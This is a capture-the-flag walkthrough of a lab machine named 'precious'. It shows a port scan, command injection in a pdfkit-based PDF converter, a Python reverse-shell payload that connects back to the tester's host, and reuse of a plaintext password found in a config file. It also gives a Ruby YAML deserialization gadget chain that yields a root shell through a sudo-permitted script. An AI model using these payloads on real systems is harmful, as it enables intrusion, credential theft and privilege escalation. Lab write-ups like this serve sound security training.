

0x1 Scan

```
E offsec/precious git:(master) ► rustscan --ulimit 1000 -a 10.10.11.189 -- -sC -sV -Pn --script=default
```

```
[O] [H] [C] [L] [E] [X] / [ ] [O] [I] [I]  
[.] [A] [S] [T] [R] [N] [W] [A] [V] [A]
```

```
The Modern Day Port Scanner.
```

```
-----  
: https://discord.gg/GFrQs6y :  
: https://github.com/RustScan/RustScan :  
-----
```

```
Real hackers hack time ⚡
```

```
[~] The config file is expected to be at "/home/ghost/.rustscan.toml"  
[~] Automatically increasing ulimit value to 1000.  
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers  
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.  
Open 10.10.11.189:22  
Open 10.10.11.189:80  
[~] Starting Script(s)  
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")
```

```
PORT      STATE SERVICE REASON  VERSION
22/tcp    open  ssh      syn-ack OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 845e13a8e31e20661d235550f63047d2 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQgQDEAPxqUubE88njHIte+mjeWJX0Lu5reIBmQHCHYh2ETY
UKp6ZJBZZ06cp0HKZWs/eQi8F7anVoMDKiiuP0VX28q/yR1AFB4vR5ej8iV/X73z3G0s3ZckQMh0iBmu1FF
MMY2aejjHTYqgzd7M6HxcEMrJW7n7s5eCJqMoUXkL8RSBEQSmMUV8iWzHW0XkVUfYT5Ko6Xsnb+DiiLvFNU
|   256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBFScv61La
|   256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH+JGiTF60gn/iJUoLhZeybUvKeADIlm0fHnP/oZ66Qb
80/tcp    open  http      syn-ack nginx 1.18.0
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

0x2 HTTP (80)

precious.htb

Convert Web Page to PDF

Enter URL to fetch

Submit

I check what is calling

```
offsec/precious git:(master) ► nc -lvnp 80
listening on [any] 80 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.189] 57072
GET /ruby HTTP/1.1
Host: 10.10.14.8
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/602.1 (KHTML, like Gecko) wkhtmltopdf Version/10.0 Safari/602.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: en-US,*
```

command injection

I send the following.

Convert Web Page to PDF

Enter URL to fetch

Submit

Cannot load remote URL!

Receives means it is vulnerable to command injection.

```
➥ offsec/precious git:(master) ► python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.189 - - [27/Jan/2023 17:53:15] "GET / HTTP/1.1" 200 -
10.10.11.189 - - [27/Jan/2023 17:57:34] code 404, message File not found
10.10.11.189 - - [27/Jan/2023 17:57:34] "GET /ruby HTTP/1.1" 404 -
█
```

But other than basics commands I am unable to do much with it.

```
10.10.11.189 - - [27/Jan/2023 18:07:25] code 404, message File not found
10.10.11.189 - - [27/Jan/2023 18:07:25] "GET /uid=1001(ruby)%20gid=1001(ruby)%20groups=1001(ruby) HTTP/1.1" 404 -
10.10.11.189 - - [27/Jan/2023 18:07:34] code 404, message File not found
10.10.11.189 - - [27/Jan/2023 18:07:34] "GET /app%0Aconfig%0Aconfig.ru%0AGemfile%0AGemfile.lock%0Apdf%0Apublic HTTP/1.1" 404 -
10.10.11.189 - - [27/Jan/2023 18:08:01] "GET / HTTP/1.1" 200 -
10.10.11.189 - - [27/Jan/2023 18:08:13] "GET / HTTP/1.1" 200 -
10.10.11.189 - - [27/Jan/2023 18:08:19] code 404, message File not found
10.10.11.189 - - [27/Jan/2023 18:08:19] "GET /var/www/pdfapp HTTP/1.1" 404 -
10.10.11.189 - - [27/Jan/2023 18:08:34] "GET / HTTP/1.1" 200 -
```

```
uid=1001(ruby) gid=1001(ruby) groups=1001(ruby)

/app /config config.ru Gemfile Gemfile.lock pdf public

/var/www/pdfapp
```

pdfkit v0.8.6

I check what is generating pdf.

```
≡ ~/Downloads → exiftool 7txy2g70a54ohydiw9xy2amr8qd0w13v.pdf
ExifTool Version Number      : 12.54
File Name                    : 7txy2g70a54ohydiw9xy2amr8qd0w13v.pdf
Directory                    : 
File Size                    : 19 kB
File Modification Date/Time  : 2023:01:27 18:13:41+08:00
File Access Date/Time       : 2023:01:27 18:13:41+08:00
File Inode Change Date/Time  : 2023:01:27 18:13:41+08:00
File Permissions             : -rw-r--r--
File Type                    : PDF
File Type Extension          : pdf
MIME Type                    : application/pdf
PDF Version                  : 1.4
Linearized                   : No
Page Count                   : 1
Creator                      : Generated by pdftkit v0.8.6
```

It is done via *pdftkit v0.8.6*. This version has command injection.

- <https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795>

I check what python exists and python3 is available.

Convert Web Page to PDF

Enter URL to fetch

Directory listing for /?name= /usr/bin/python3

-
- [feroxbuster.precious.out](#)
-

I use that to get reverse shell.

```
http://10.10.14.8:4444/?name=%20`python3 -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.
10.14.8",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import
pty; pty.spawn("bash")`'
```

```
❏ offsec/precious git:(master) ► nc -lvnp 80
listening on [any] 80 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.189] 50824
ruby@precious:/var/www/pdfapp$ id
id
uid=1001(ruby) gid=1001(ruby) groups=1001(ruby)
ruby@precious:/var/www/pdfapp$
```

0x3 Foothold

basic enumeration

There's a user called henry.

```
ruby@precious:/var/www/pdfapp$ id
id
uid=1001(ruby) gid=1001(ruby) groups=1001(ruby)
ruby@precious:/var/www/pdfapp$ ls /home
ls /home
henry ruby
ruby@precious:/var/www/pdfapp$
```

henry (lateral movement)

I found henry user credential.

```
ruby@precious:~/bundle$ ls -al
ls -al
total 12
dr-xr-xr-x 2 root ruby 4096 Oct 26 08:28 .
drwxr-xr-x 5 ruby ruby 4096 Jan 25 19:31 ..
-r-xr-xr-x 1 root ruby  62 Sep 26 05:04 config
ruby@precious:~/bundle$ cat config
cat config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
ruby@precious:~/bundle$
```

- henry:Q3c1AqGHtoI0aXAYFH

I can ssh as the user.

```
≡ offsec/precious git:(master) ► ssh henry@10.10.11.189
The authenticity of host '10.10.11.189 (10.10.11.189)' can't be established.
ED25519 key fingerprint is SHA256:1WpIXI8qwKmYSRdGtCjweUByFzcn0MSpKgv+AwWRLkU.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.189' (ED25519) to the list of known hosts.
henry@10.10.11.189's password:
Linux precious 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Jan 26 16:41:50 2023 from 10.10.16.4
henry@precious:~$ ls
update_dependencies.rb  user.txt
henry@precious:~$ id
uid=1000(henry) gid=1000(henry) groups=1000(henry)
henry@precious:~$
```

user.txt

```
henry@precious:~$ hostname
precious
henry@precious:~$ cat user.txt
6665a7607d540f3c61a814b6faa8e2a3
henry@precious:~$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b9:8c:e1 brd ff:ff:ff:ff:ff:ff
    altname enp3s0
    altname ens160
    inet 10.10.11.189/23 brd 10.10.11.255 scope global eth0
        valid_lft forever preferred_lft forever
henry@precious:~$
```

Privilege escalation

This is interesting.

```
Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d
https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
```

I check the file.

```
henry@precious:/opt$ cat update_dependencies.rb
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
  YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
  Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
  gems_local.each do |local_name, local_version|
    if(file_name == local_name)
      if(file_version != local_version)
        puts "Installed version differs from the one specified in file: " + local_name
      else
        puts "Installed version is equals to the one specified in file: " + local_name
      end
    end
  end
end
end
henry@precious:/opt$
```

It uses `YAML.load` which is vulnerable to deserialization attack. You can read about the attack here.

- <https://github.com/DevComputaria/KnowledgeBase/blob/master/pentesting-web/deserialization/python-yaml-deserialization.md>

I found a payload from this link.

- <https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/>

```
---
- !ruby/object:Gem::Installer
  i: x
```



```

- !ruby/object:Gem::SpecFetcher
  i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
        read: 0
        header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
        socket: &1 !ruby/object:Gem::RequestSet
          sets: !ruby/object:Net::WriteAdapter
            socket: !ruby/module 'Kernel'
            method_id: :system
          git_set: id
          method_id: :resolve

```

It will read *dependencies.yml* from where I am running.

```

henry@precious:~$ ls
dependencies.yml  user.txt
henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
Traceback (most recent call last):
  33: from /opt/update_dependencies.rb:17:in `<main>'
  32: from /opt/update_dependencies.rb:10:in `list_from_file'
  31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load'
  30: from /usr/lib/ruby/2.7.0/psych/nodes/node.rb:50:in `to_ruby'
  29: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
  28: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
  27: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
  26: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:313:in `visit_Psych_Nodes_Document'
  25: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
  24: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
  23: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
  22: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:141:in `visit_Psych_Nodes_Sequence'
  21: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `register_empty'
  20: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `each'
  19: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `block in register_empty'
  18: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
  17: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
  16: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
  15: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:208:in `visit_Psych_Nodes_Mapping'
  14: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:394:in `revive'
  13: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:402:in `init_with'
  12: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:218:in `init_with'
  11: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:214:in `yaml_initialize'
  10: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:299:in `fix_syck_default_key_in_requirements'
   9: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_reader.rb:59:in `each'
   8: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_header.rb:101:in `from'
   7: from /usr/lib/ruby/2.7.0/net/protocol.rb:152:in `read'
   6: from /usr/lib/ruby/2.7.0/net/protocol.rb:319:in `LOG'
   5: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
   4: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
   3: from /usr/lib/ruby/vendor_ruby/rubygems/request_set.rb:388:in `resolve'
   2: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
   1: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
/usr/lib/ruby/2.7.0/net/protocol.rb:458:in `system': no implicit conversion of nil into String (TypeError)
henry@precious:~$

```


It works. I replace with *bash* and got root shell.

```
16      socket: !ruby/module 'Kernel'
17      method_id: :system
18      git_set: bash
19      method_id: :resolve
20
```

```
henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
root@precious:/home/henry# id
uid=0(root) gid=0(root) groups=0(root)
root@precious:/home/henry#
```

root.txt

```
root@precious:~# ls
root.txt
root@precious:~# cat root.txt
46163e39dec41fe3e2ebbae6d1eb3dc1
root@precious:~# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b9:6b:cc brd ff:ff:ff:ff:ff:ff
    altname enp3s0
    altname ens160
    inet 10.10.11.189/23 brd 10.10.11.255 scope global eth0
        valid_lft forever preferred_lft forever
root@precious:~# hostname
precious
root@precious:~#
```